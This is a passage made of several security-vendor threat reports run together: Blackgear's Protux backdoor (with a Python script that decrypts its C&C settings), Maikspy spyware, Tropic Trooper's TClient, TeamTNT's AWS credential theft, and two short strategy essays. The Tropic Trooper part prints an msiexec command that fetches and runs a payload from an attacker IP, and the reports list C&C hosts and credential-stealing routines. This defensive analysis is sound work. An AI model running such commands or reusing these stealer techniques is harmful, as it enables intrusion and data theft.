#-*-coding:utf-8 -*-
import os, sys, datetime, operator, base64
def decrypt():
if len(sys.argv) != 2:
print "Usegae : ./decrypt_protux_magnet.py <Full magnet strings>"
sys.exit(0)
str = sys.argv[1]
head = str.find("magnet:?xt=urn:bhih:")
tail = str.find("&xl=")
if -1 ==tail:
tail = str.find("&amp;xl=")
if -1 == head or -1 == tail:
print("can't find delimiter")
sys.exit()
b64_data = str[len("magnet:?xt=urn:bhih:"): tail]
b64_decode = base64.b64decode(b64_data)
key = ord(b64_decode[2])
data = b64_decode[4:]
output_file = open("C2_info", "wb")
for single_byte in data:
output_file.write(chr(ord(single_byte) ^ key))
output_file.close()
if __name__ == '__main__':
decrypt ()
A new remote controller tool
We were also able to source a sample of Protux’s remote controller tool.
This provides a user interface (UI) that allows attackers to send instructions to and monitor any compromised endpoint host.
This tool can also remotely control Marade in the affected system.
Figure 7.
The controller retrieving the Marade-related information (top) and collecting Protux-related information (bottom)
Based on the controller’s behavior, we can posit that both Marade and Protux were authored by the same threat actors.
Each serves a specific role once in the system.
Marade acts as the first stage of attack, sending the compromised system’s information to the C&C server and then awaiting commands from the controller.
This allows threat actors to monitor and check whether the affected system is of interest to them.
If so, the attack moves to the second stage by deploying Protux.
The tool can also control the communication between the backdoor and attacker in real time.
The following is a list of Protux’s notable components and their functions:
FileManage - Lists all of the system’s drives and folders.
ProcManage - Lists all of the processes, modules, threads, and ports in the compromised host.
ServiceManage - Lists all of the services in the compromised host.
RegManage - Lists all of the registries in the compromised host.
ScreenManage - Takes a screenshot.
ShellManage - Creates a shell.
Protux: An old dog learning new tricks
Protux is an old backdoor, with its first version developed in 2005.
It uses DLL injection to execute its routines.
Based on this behavior, we can map out a pattern, from the downloader to the decoy documents used.
The trigger format is: %system32/rundll32.exe <PROTUX file name> <export name>.
We saw two notable changes throughout Protux’s history: its export name and how it functions:
Export name
Year
How C&C information is retreieved
TStartUp
2005 – 2012
Directly connect to the C&C server and use DNS server to retrieve the C&C IP address.
CRestart
2009 – 2014
Use web DNS query to retrieve the C&C IP address, e.g., ip138[.
]com.
CReset
2013 – 2018
Find the encrypted configuration through keywords on blog services.
Our research into and correlation of Protux led us to several samples that have version numbers embedded in them.
The highlighted portions in Figure 8 show the backdoor’s version number and timestamp with the “with encrypt” strings.
We also found that these versions encrypt the communication to its C&C servers.
Protux’s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm.
Figure 8.
Different versions of Protux used by Blackgear
Figure 9.
Protux with the OpenCSP encryption function
Building a proactive incident response strategy
Blackgear has been targeting various industries since its emergence a decade ago.
Its apparent staying power stems from the furtive ways with which its attacks can evade traditional security solutions.
For instance, Blackgear employs two stages of infection for each of its attacks.
The potential victim may not be able to notice the intrusions as the first stage involves only profiling and reconnaissance.
And once infection with a backdoor occurs, typical red flags may not be raised as it abuses microblogging and social media services to retrieve information needed for C&C communication.
Indeed, Blackgear’s attacks exemplify the need for organizations to develop and implement security strategies that can proactively respond to threats.
A robust threat hunting strategy, for instance, helps validate indicators of attack to ascertain if the intrusions, threats, or suspicious system activities are one-off attacks or part of a larger campaign.
This further visibility equips organizations with actionable threat intelligence, context, and insights that can be used to delve deeper into an attack — which security gaps are exploited, if the attack has multiple payloads, or if the malware has already spread within the network.
Organizations can also consider managed detection and response, which provides in-depth threat analysis and correlation — from networks to servers and endpoints — to obtain a complete picture of and further understand a targeted attack.
Managed detection and response also helps make better sense of system- and network-level activities that an organization may not have the time or resources to do.
A list of indicators of compromise (IoCs) related to Blackgear is in this appendix.
Trend Micro solutions
The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats delivered by Blackgear even without any engine or pattern update.
Blackgear’s campaigns also use email as an entry point, which is why it’s important to secure the email gateway.
The Trend Micro™ Hosted Email Security no-maintenance cloud solution delivers continuously updated protection to stop spam, malware, spear phishing, and advanced targeted attacks before they reach the network.
The Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security solutions prevent malware from ever reaching end users.
At the endpoint level, the Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of attacks.
Tags
Articles, News, Reports
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APT & Targeted Attacks
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Research
We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data.
The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress.
Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.
Our analysis of the latest Maikspy variants revealed that users contracted the spyware from hxxp://miakhalifagame[.
]com/, a website that distributes malicious apps (including the 2016 adult game) and connects to its C&C server to upload data from infected devices and machines.
Multiple Twitter handles were found promoting the adult game called Virtual Girlfriend and sharing the malicious domain via short links.
Figure 1.
Tweets that mention Virtual Girlfriend and the short link of hxxp://miakhalifagame[.
]com/
Maikspy on the Android platform
Figure 2.
Infection chain of Maikspy Android variant
Based on the analysis of samples that were last seen in the wild in March 2018, the Maikspy variant (detected by Trend Micro as AndroidOS_MaikSpy.HRX) that runs on Android poses as Virtual Girlfriend to lure users into visiting the attackers’ malicious domain.
When users open the short link version of the domain shared on Twitter, a page that shows gender option buttons will appear followed by a page that will let users choose their “first girlfriend” and lead them to the download page.
Figure 3.
Virtual Girlfriend’s option buttons (first and second screen from the left) and download page (third screen)
When the downloaded APK file is installed and launched, it will send the infected device’s Unix timestamp to 0046769438867, a phone number containing Sweden’s code.
This is presumably used for the device’s ID registration:
Figure 4.
Code snippet of the device’s Unix timestamp being sent to 0046769438867
Subsequently, the Maikspy-carrying app will display "Error: 401.
App not compatible.
Uninstalling...” as an attempt to deceive the user into thinking that the app is already removed from the device.
However, the spyware just hides itself and runs in the background.
There, the malicious app first checks the required permissions and then proceeds with its routine:
Steal phone number
Steal accounts
Steal installed app list
Steal contacts
Steal SMS
The stolen information will be either written into .txt or .csv formats before being uploaded to the C&C server.
After fetching and uploading the abovementioned stolen data, the malicious app will check the command (CMD) from the C&C server every 60 seconds.
The following are the supported commands:
CMD
Details
startrecording
Start recording the sound around the device
stoprecording
Stop recording
uploaddata
Upload /sdcard/DCIM,/sdcard/Downloads, /sdcard/Movies, /sdcard/Pictures, /sdcard/Documents files
getnumber
Get and upload phone number
getclipboard
Get and upload clipboard contents
sms-
Send SMS
get-
Get and upload dedicated files
getcontacts
Get and upload Contacts
getinstalledapps
Get and upload installed APP list
getmsgdata
Get and upload received SMS
getmsgdatasent
Get and upload sent SMS
getaccounts
Get and upload Accounts
tree
Get and upload dedicated directory file list
In the first launch of Virtual Girlfriend, the malicious app will use a combination of the Unix timestamp, the device’s Bluetooth adapter name, and the name of user’s Twitter account as device identification name: Timestamp_BTAdapterName_TwitterAccount.
If the user doesn’t have the Twitter app, it will just be a null string (“”).
If the user has multiple Twitter accounts, the spyware will use the account where the user is logged in.
Figure 5.
Code snippet of the process where the Unix timestamp, the device’s Bluetooth adapter name, and the name of user’s Twitter account are combined to produce a device identification name
Additionally, the spyware will open hxxp://miakhalifagame[.]com/get_access2[.
]php when first installed.
It will display the page below.
Figure 6.
The spyware displays the online dating scam website upon the installation of the malicious Virtual Girlfriend app
What will be shown is the registration page of an online dating site, which will lure users into giving out their credit card information.
When users register, their credit cards will be charged.
This happens when the data is uploaded with the hidden iframe found in the bottom right part of the page (underlined in red).
As a result, the attackers behind the scheme will not only obtain the credit card information of the victim, but also steal any money charged to the credit card, so long as the user doesn’t request a chargeback.
Maikspy on the Windows platform
Figure 7.
Infection chain of Maikspy Windows variant
Figure 8.
These buttons greeted users who clicked the Twitter short link of hxxp://miakhalifagame[.
]com/
In the case of the Windows variant (WORM_INFOKEY.A) of Maikspy last seen in April 2017, the user will be tricked into downloading a MiaKhalifa.rar file, which contains the files seen in the screenshot below:
Figure 9.
Content of the MiaKhalifa.rar file
README.txt provides instructions teaching the user how to turn off the anti-virus software and how to turn on the network, which the attacker needs to steal and upload data to its C&C server.
Figure 10.
Content of README.txt
register.bat is used to gain administrator privilege.
Figure 11.
Code snippet of register.bat
Uninstall.exe is a copy of the open-source hacking tool Mimikatz (https://github[.]com/gentilkiwi/mimikatz).
It has the ability to extract plaintext passwords, hash, PIN code, and Kerberos tickets from memory.
Here, Uninstall.exe is used to get the Windows account and password, and then writes the result to C:\Users\%username%\AppData\local\password.txt.
Setup.exe is the core module used to steal data.
Like the Android Maikspy, it first sends a notification to its C&C server to register the device.
Figure 12.
Code snippet of notification being sent to the C&C server to register the device
After that, it fetches .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files from the following directories: C:/Users/%username%/Desktop, C:/Users/%username%/Pictures, C:/Users/%username%/Documents, and C:/Users/%username%/Downloads.
File lists of the directories are also stolen.
Subsequently, it writes them into files before uploading it to the C&C server.
Figure 13.
Code snippets of the scanning, fetching, and uploading of .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files (left).
It also steal information about the machine’s system i.e.
default browser, OS version, Firefox version, Chrome version, IE version and Network configuration (right).
We also stumbled upon a Chrome extension plugin (VirtualGirlfriend.crx) that Windows users can contract upon visiting hxxp://miakhalifagame[.]com.
When the extension plugin (BREX_INFOSTEAL.A) is downloaded, the victims will be instructed how to load it into the browser.
After that, the malware will collect the username and password inputs from web pages and sends it to hxxps://miakhalifagame[.]com/testinn[.
]php.
Figure 14.
Instructions given to the user on how to load the malicious Chrome extension
Figure 15.
Code snippet of the malicious extension plugin
Connection between Round Year Fun and Maikspy
We looked into one of the Twitter accounts (seen in Figure 1) that promoted Virtual Girlfriend.
The name of the Twitter account is Round Year Fun (hxxps://twitter[.
]com/RoundYear_Fun), and its homepage is full of tweets that promote games from hxxp://www[.]roundyearfun[.
]org.
Figure 16.
Twitter homepage of Round Year Fun
hxxp://www[.]roundyearfun[.
]org is a portal that promotes games on Twitter.
As seen in the figure below, it also has other games aside from Virtual Girlfriend.
Upon checking the cached version of the page, we discovered that it was also used to distribute the adult game first used by the attackers behind Maikspy.
Figure 17.
Virtual Girlfriend in the list of games advertised by hxxp://www[.]roundyearfun[.
]org
Figure 18.
The adult game first used by the attackers was also found in the list of games advertised by hxxp://www[.]roundyearfun[.
]org
Our analysis revealed that hxxp://www[.]roundyearfun[.
]org was also used as a C&C address to save victims’ data.
The malware also shares the same certification with Virtual Girlfriend.
One of the samples was sourced from hxxp://roundyearfun[.]org/noavi/MiaKhalifa[.]apk.
Interestingly, we discovered an image that shows the logo of Round Year Fun, found at hxxp://miakhalifagame[.]com/img/ryf[.
]jpg.
Figure 19.
Round Year Fun logo found at Maikspy’s malicious domain
Based on these findings, it’s possible that the attackers behind Maikspy operate //www[.]roundyearfun[.
]org/ and hxxp://miakhalifagame[.
]com/.
Another thing that we discovered about the games offered by Round Year Fun is that if you authorize it to use your Twitter account, the author can use the account to promote games using automation tools.
The author used the other Twitter handle in Figure 1, rifusthegr8, to tweet about Virtual Girlfriend and retweet Round Year Fun’s own Twitter promotion of the game.
History of Maikspy from 2016 to 2018
The first variant of Maikspy appeared on the Windows platform in December 2016.
It disguised itself as the adult game named after an adult film actress.
It has the ability to update itself from hxxp://fakeomegle[.
]com/, and steal .jpg, .jpeg, .png, .txt, .wav, .html, .doc, .docx and .rtf files located in the Desktop, Picture, Documents, and Downloads folders, as well as information about the machine’s Internet Explorer, Chrome, Firefox or default browsers, OS, and network configuration.
The spyware connects to 107[.]180[.]46[.
]243.
Meanwhile, the first Android variant of this spyware family appeared in January 2017.
It was also under the guise of the previously mentioned adult game and still connects to the aforementioned C&C server.
It was capable of recording phone calls and stealing information such as the device’s location, SMS, contacts, WhatsApp database, and record sound around the affected device.
The next variant appeared quickly, and it added the following abilities to its routines: Steal information about the device’s clipboard, phone number, installed app list, and accounts.
Meanwhile, the ability to steal the WhatsApp database was removed.
It also changed its command format.
In March 2017, another new variant appeared with the ability to steal photos when users take them using the camera.
The code structure and package name also changed, as well as its C&C address: 198[.]12[.]155[.
]84.
It was in April 2017 when the last Windows variant of Maikspy appeared with the following changes: The C&C server was changed to 198[.]12[.]155[.
]84, password theft is added, as well as the theft of .doc, .docx, and .rtf files.
Between June and December 2017, the Android variant had the following alterations: C&C server was changed to 192[.]169[.]217[.
]55, the ability to record phone calls was removed, and the C&C server was again changed to 198[.]12[.]149[.
]13.
In January 2018, the Android variant’s app label changed to Virtual Girlfriend.
Two months later, the C&C server was changed to hxxp://miakhalifagame[.]com.
The attackers were found using the HTTP protocol to transfer data.
The ability to steal location and pictures was removed from its routine.
Relationship between variants and C&C servers used by Maikspy
The attackers behind Maikspy have changed domains and IP addresses over the years, but all were found hosted in a publicly traded internet domain registrar and web hosting company in the U.S.
The following figures show how Maikspy variants from 2016 to 2018 are connected to C&C servers (found in this appendix, along with the Android and Windows hashes) used by the attackers:
Figure 20.
The connection of Maikspy variants to 198[.]12[.]155[.
]84, hxxp://roundyearfun[.
]org/, and 192[.]169[.]217[.]55.
Note: The green nodes represent Android samples, while the blue nodes represent Windows samples.
Figure 21.
Connection of Maikspy variants to 107[.]180[.]46[.
]243 and hxxp://fakeomegle[.
]com
Figure 22.
Connection of Maikspy variants to 198[.]12[.]149[.
]13and hxxp://miakhalifagame[.
]com/
Countermeasures
Downloading only from legitimate app stores like Google Play can prevent Maikspy from compromising computers and mobile devices.
It is also important to be aware of what apps are allowed to access, and to understand the risks before accepting any terms or granting certain permissions to apps.
Trend Micro’s Mobile App Reputation Service (MARS) already covers Android and iOS threats using leading sandbox and machine learning technology.
It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.
For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.
The Trend Micro™ Deep Discovery™ threat protection platform enables companies to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.
Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks.
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Real enterprises are messy places.
One messy reality is that enterprises don’t manage all their endpoints.
A smart colleague turned me onto using the % of endpoints and servers managed as a prime security metric.
On one end of the spectrum are places like universities that maybe manage 10% of the endpoints on their network.
On the other end are places like some large banking and R&D companies that can manage about 98 or 99%.
A financial services company that was spending millions of dollars on getting from 96% to achieving 98%, using the very good reasoning that they were “cutting their biggest security problem in half” rather than “2%, meh.” So even the very best enterprises can have unmanaged endpoints that can be more easily exploited than ones with a security agent deployed on them.
A lot of the advanced security we’ve been delivering on the last few years has been focused on this problem.
EDR is an example of how stealthy or evasive attackers can be better uncovered than with traditional endpoint protection.
EDR is great for endpoints they are on.
Ian Loe of NTUC gives a killer example of uncovering stealthy attacks using EDR and MDR here.
But most of EDR’s capabilities are for endpoints they are on: ones they manage.
Sure there’s some herd-immunity with EDR that the greater number of managed endpoints the harder it is for an attacker to move laterally or deeper.
But more capable, patient, and stealthy attackers are getting better at being evasive, knowing that EDR may be or is deployed.
Mark Nunnikhoven does a great job in this post talking about lateral movement.
EDR can only go so far on its own to help spot attacks that are exceptionally low and slow, and/or using unmanaged endpoints.
Endpoint security needs to step outside the endpoint silo to keep step with advanced attackers.
An attack using many hops could see movement between managed endpoints, IoT, email, network components, containers and cloud-based servers over the course of many months.
The delivery and reconnaissance could involve multiple protocols, emails, payloads, files, and credentials.
Pulling together the tenuous and ephemeral threads of such an intentional attack needs more modern tools, rather than hoping we stumble on a supply of highly advanced threat hunters.
Pulling together deep security information from across your enterprise is what is needed to face off against such advanced and intentionally evasive attacks.
XDR is intended to be that security data lake of deeper enterprise infrastructure and security information than we’ve previously gathered in a single addressable pool and designed to be useful for threat hunters and analysts.
In these posts here and here we talk about what XDR is and how it brings in more sources, such as network data.
In the game of measure-countermeasure that is cybersecurity today and tomorrow, XDR is the next evolutionary step in dealing with more evasive threats.
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Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine, and Hong Kong targets, focusing on their government, healthcare, transportation, and high-tech industries.
Its operators are believed to be very organized and develop their own cyberespionage tools that they fine-tuned in their recent campaigns.
Many of the tools they use now feature new behaviors, including a change in the way they maintain a foothold in the targeted network.
Attack Chain
Figure 1.
Attack chain of Tropic Trooper’s operations
Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:
Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE).
Download an installer package (.msi) and install it on the system by executing the command: /c msiexec /q /i [hxxp://61[.]216[.]5[.
]24/in.sys]).
This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe) then delete itself.
The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in "C:\ProgramData\Apple\Update\wab32res.dll"), and an encrypted configuration file.
UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe.
The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe (a normal file).
The loader will then inject a DLL backdoor into dllhost.exe.
We also observed malicious documents that don’t need to download anything from the internet as the backdoor’s dropper is already embedded in the document.
This, however, doesn’t influence the overall result for the victim.
The backdoor will load the encrypted configuration file and decrypt it, then use Secure Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers.
Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets.
These documents use job vacancies in organizations that may be deemed socio-politically sensitive to recipients.
Below is a screenshot of the document used in their latest campaigns:
Figure 2.
Malicious document used by Tropic Trooper
PDB Strings as Context Clues
The MSI file has two program database (PDB) strings inside: one belonging to the MSI file, and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB).
Figure 3.
PDB strings inside the MSI file
The first PDB string has a certain ss2/Projects/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files.
The second PDB string contains Work, House, and TSSL: we can assume this tool belongs to Tropic Trooper’s TSSL project as seen by other researchers.
Here it is a new one, as seen in their misspelling of “Horse” to “House” (other reports had the string typed correctly).
Another interesting PDB string we found is - D:\Work\Project\VS\house\Apple\Apple_20180115\Release\InstallClient.pdb.
At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse.
It would then use sidebar.exe to load the malicious wab32res.dll (TROJ_TCLT.ZDFB) through DLL hijacking.
This is carried out to evade antivirus (AV) detection, because wab32res.dll is loaded by a benign file.
Figure 4.
The installer drops three files into the Apple/Update directory
Figure 5.
PDB strings inside the loader file
From the PDB string above, the attackers intended it to be a loader (hence the name FakeRun) and not the actual backdoor.
FakeRun’s PDB string (D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb) indicates the loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into this process.
The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB string.
Figure 6.
TClient is injected into dllhost.exe
Malware Analysis
wab32res.dll (FakeRun loader) loads TClient.
Once the loader is executed, it will check the current process (sidebar.exe) whether to load it or not.
Successfully checking the loader will execute the dllhost.exe process and create a hardcode mutex to avoid injecting it into the wrong dllhost.exe, as there can be multiple instances of it depending on the number of programs using the Internet Information Services.
Figure 7.
The loader checking the sidebar process
Figure 8.
The malicious loader injecting the backdoor into dllhost.exe
Figure 9.
Comparison of TClient’s configuration format in 2016 (left, from other researchers) and 2018 (right)
TClient will use SSL to connect to Tropic Trooper’s C&C server.
However, the C&C server and some configuration values are not hardcoded in the backdoor.
This allows Tropic Trooper’s operators to easily change/update the C&C server and configure other values.
TClient is actually one of Tropic Trooper’s other backdoors.
The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016, for instance.
TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018.
The image and table below illustrate TClient’s encrypted configuration that we decrypted (via Python code):
Figure 10.
Snapshot of code we used to decrypt TClient’s configuration
Figure 11.
Encrypted backdoor configuration
Description
Decryption Strings
Check code
MDDEFGEGETGIZ
Addr1:
tel.qpoe[.
]com
Addr2:
elderscrolls.wikaba[.
]com
Addr3:
tel.qpoe[.
]com
Port1:
443
Port2:
443
Port3:
53
LoginPasswd:
someone
HostMark:
mark
Proxy:
0
Figure 12.
Decrypted backdoor configuration
Reverse analysis of TClient allowed us to determine how to decrypt the C&C information.
TClient will use custom SSL libraries to connect the C&C server.
We also found another SSL certificate on this C&C server.
A closer look reveals that it was registered quite recently, and is set to expire after a year, suggesting Tropic Trooper’s use or abuse of components or services that elapse so they can leave as few traces as possible.
Figure 13.
SSL certificate’s validity
Following Tropic Trooper’s Trails
We further monitored their activities and found three additional and notable PDB strings in their malware:
D:\Work\Project\VS\HSSL\HSSL_Unicode _2\Release\ServiceClient.pdb
D:\Work\VS\Horse\TSSL\TSSL_v3.0\TClient\Release\TClient.pdb
D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\x64\Release\TClient.pdb
These came from open-intelligence platforms and incident response cases.
These strings shed further light on Tropic Trooper’s operations:
They have another campaign/project named HSSL, which supports Unicode characters.
The TSSL project has a v3.0 version, indicating the operators can mix and match different versions of their malware, depending on their target.
The TSSL project has 64-bit version.
The Need for a Proactive Incident Response Strategy
Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to exploit weaknesses in people and technology.
For organizations, this highlights the significance of staying ahead of their attackers: detect, analyze, and respond.
What techniques will they use?
How can my organization’s attack surface be reduced?
What did I do to respond to the threat — what worked, what didn’t, and what could be fine-tuned?
A proactive incident response strategy provides threat intelligence — from the endpoint to the network — that can let IT/system administrators identify malicious activities that aren’t typically visible to traditional security solutions.
TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to others.
Its use of the SSL protocol also means it can blend with legitimate traffic.
Analyzing their PDB strings can also provide a deeper insight into the campaign’s bigger picture.
Ascertaining the tactics and techniques they use empower organizations in developing robust and actionable indicators of compromise (IoCs) that can act as benchmarks for response.
Here are some best practices that organizations can adopt:
Keep the system, its applications, and the network updated.
The vulnerabilities that Tropic Trooper’s campaigns have been patched last January, for instance.
Enforce a stronger patch management policy, and consider virtual patching for legacy systems.
Enforce the principle of least privilege: Employ network segmentation and data categorization to deter lateral movement and mitigate further exposure.
Application control and behavior monitoring block suspicious files and anomalous routines from being installed or executed in the system.
Disable or secure the use of system administration tools such as PowerShell and other command-line tools that may be abused.
Actively monitor your perimeter, from gateways and endpoints to networks and servers.
Firewalls as well as intrusion detection and prevention systems help thwart network-based attacks.
Nurture a culture of cybersecurity.
Spear-phishing emails, for instance, rely on baiting targets with socially engineered documents.
The technologies that help protect the organization are only as good as the people who use them.
Indicators of Compromise (IoCs)
Related Hashes (SHA-256): Detected as CVE-2018-0802.ZTFC:
1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e
BKDR_TCLT.ZDFB:
01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69
BKDR64_TCLT.ZTFB:
6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334
TROJ_SCLT.ZTFB:
49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245
TROJ_TCDROP.ZTFB:
b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a
d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a
85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b
TROJ_TCLT.ZDFB:
02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456
fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6
URLs related to C&C communication:
qpoe[.
]com
wikaba[.
]com
tibetnews[.
]today
dns-stuff[.
]com
2waky[.
]com
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We covered the threat actor group TeamTNT in previous entries, noting that they were actively stealing Amazon Web Services (AWS), Docker and Linux Secure Shell (SSH) credentials as well as participating in other activities, including cryptojacking and placing backdoors — such as IRC bots and remote shells — inside Linux devices.
However, the scope of the attack remained unknown.
While investigating the team's activities, we found a binary containing a hardcoded shell script designed to steal AWS credentials, which provided us a lead on the scope of the attack.
Figure 1: IRC bot dropping encoded shell script (detected as Backdoor.
Linux.TSUNAMI.USELVBF21)
We begin by examining the dropped script from a new AWS-focused credential stealer.
As the image in Figure 2 shows, after the actor compromises an instance and runs their script, it searches for any credentials deployed via the AWS metadata service, as we previously highlighted.
To gather these credentials, the attacker must perform remote code execution (RCE) on the initial target, which can be accomplished via a number of methods, including abusing the abuse of such as abusing misconfiguration issues or the exploitation of exploiting unpatched vulnerabilities and other security flaws.
An AWS instance, by default, does not have any identity access management (IAM) permissions attached; rather, these permissions must be defined by the AWS administrator.
AWS administrators should follow the principle of least privilege when attaching roles to an AWS instance.
Regardless of whether this search is successful or not, the script creates a file and then uploads it to a remote web server that is set to receive the stolen files.
Figure 2.
Malicious shell scripts stealing secrets
Although the script is meant to run on AWS instances, our analysis reveals that it ran on any kind of Linux machine, container, or cloud instance when they are compromised by this actor.
Additionally, it failed to retrieve any useful data most of the times.
The web server where the malware uploads its data was configured (or misconfigured) to be set as open directory, thus allowing access to all the uploaded files — including data on targets to be further compromised, stolen files, and statistics of ongoing attacks.
Figure 3.
Open directory with malware, stolen credentials and statistics
Alongside storing the stolen data, the server also serves as a repository for Linux cryptocurrency-mining tools that the group deploys on infected systems, which is part of their objectives.
Figure 4.
Other binaries found on the open directory
If the group succeeds in running their malicious script on an AWS instance, the script uploads any credentials that it is able to retrieve from the instance metadata service.
If an AWS administrator has not attached any permissions to these credentials, then they will not grant the attacker any additional access.
AWS administrators can also detect the use of these instance credentials outside of AWS by enabling the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration finding in Amazon GuardDuty.
Figure 5.
Example of a report with stolen secrets
Conclusion and impact
During our research, we noticed over 4,000 infected instances.
While not all of them necessarily ran on AWS instances, the malware that was deployed against them was designed to target AWS users (due to the shell script looking for AWS services metadata that is present only with AWS services).
From the total number, around 5% or approximately 200 of them contained sensitive information on AWS costumers.
Note that AWS instances will not have permissions defined unless the user specifically takes action for such.
Based on the timestamps in the file names, we can assume that the campaign started on February 10, 2021.
In addition, we can also assume that the number of files represents the number of infected machines.
As a result of observing TeamTNT for a while now, we are able to note that they are following IT industry trends and shifting to the cloud as well.
Recommendations and Trend Micro Solutions
Given the increased focus on the cloud by threat actor groups, organizations should take the necessary steps to secure as much of their cloud infrastructure as they can.
Most cloud service providers, including AWS, follow the shared responsibility model for securing the cloud.
Following  this model, the cloud provider is responsible for securing the infrastructure — such as the hardware, software, networking, and facilities —  needed to run the cloud service.
On the other hand, AWS adminstrators are tasked with the responsibility of securing their assets running within the cloud service.
Although the specifics differ depending on the type of cloud service being used, AWS administrators are generally expected to secure their own data, platforms, applications, operating systems, and network configurations, among others.
As mentioned earlier, Team TNT is targeting cloud service providers and is able to compromise AWS instances based on a number of methods.
Hence on the shared responsibility model, the AWS administrator is responsible for securing its instances.
We advise organizations to consider the following security measures:
Patch and update systems regularly to reduce the chance of vulnerability exploitation.
Apply the principle of least privilege, which helps reduce the attack surface and minimizes the damage potential of an attack.
For this specific TeamTNT attack, granting access to security information only to those who need it can prevent the threat actors from leaking the information.
Prioritize the continuous monitoring and auditing of devices, especially if these are used to access the organization’s network.
Use private key authentication when you have SSH enabled inside your instance.
Use strong passwords and always enable multifactor authentication on your cloud account.
Amazon also offers additional recommendations on how to secure AWS resources, as well as services such as Amazon Guard​Duty, Amazon Macie, and AWS Security Hub that enhance the existing security of cloud implementations.
Security solutions such as Trend Micro Hybrid Cloud Security can also help in protecting cloud-native systems and their various layers.
By using Trend Micro Cloud One™, enterprises gain access to protection for continuous integration and continuous delivery (CI/CD) pipeline and applications.
The Trend Micro Cloud One platform includes:
Workload Security: runtime protection for workloads
Container Security: automated container image and registry scanning
File Storage Security: security for cloud file and object storage services
Network Security: cloud network layer IPS security
Application Security: security for serverless functions, APIs, and applications
Conformity: real-time security for cloud infrastructure — secure, optimize, comply
Indicators of Compromise (IOCs)
SHA-256
Detection
Description
9504b74906cf2c4aba515de463f20c02107a00575658e4637ac838278440d1ae
Backdoor.
Linux.TSUNAMI.USELVBF21
IRC bot
3139a85a18e42bf60ba65deb3d691b5c088a0fac2b80a4d05f17a68eac3d4882
TrojanSpy.SH.AWSTEAL.A
Script
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We have been collectively saying in our industry for the last 15-20 years that a layered approach to your security stack is a “best practice,” but as with all best practices, these are ideals rather than reality for so many charged with protecting their organizations.
The vast majority of CISOs are saddled with legacy operating systems and applications, along with a lack of funding.
For many of those in the more mature sectors who struggle less with resources, such as financial and government, this ideal state has been achieved by buying a large number of feature products for each layer.
Then, add more and more people to each layer with the hope that they can effectively coordinate their layers to protect, detect, respond and recover from attacks.
Today’s Challenge
While this strategy has provided a small level of success, it’s not sustainable and definitely not an option for the remaining 90% of companies with resource challenges.
Further complicating the issue is the growing scope and scale of attacks today that are successfully targeting the seams between these layers.
There are many reasons why we are in this overloaded place, drowning in alerts and logs.
But, there is one cause that we can point to that has become especially problematic to the design and operations of security programs – the focus on the “kill chain.”
This focus can be effective to simplify and explain the progression of an attack through the different layers.
However, it doesn’t adequately address the reality of the non-linear nature of attacks.
It also misses the incredible importance of identifying tactics, techniques, and tools used by global threat actor groups today.
(Que the MITRE ATT&CK plug)
Until now.
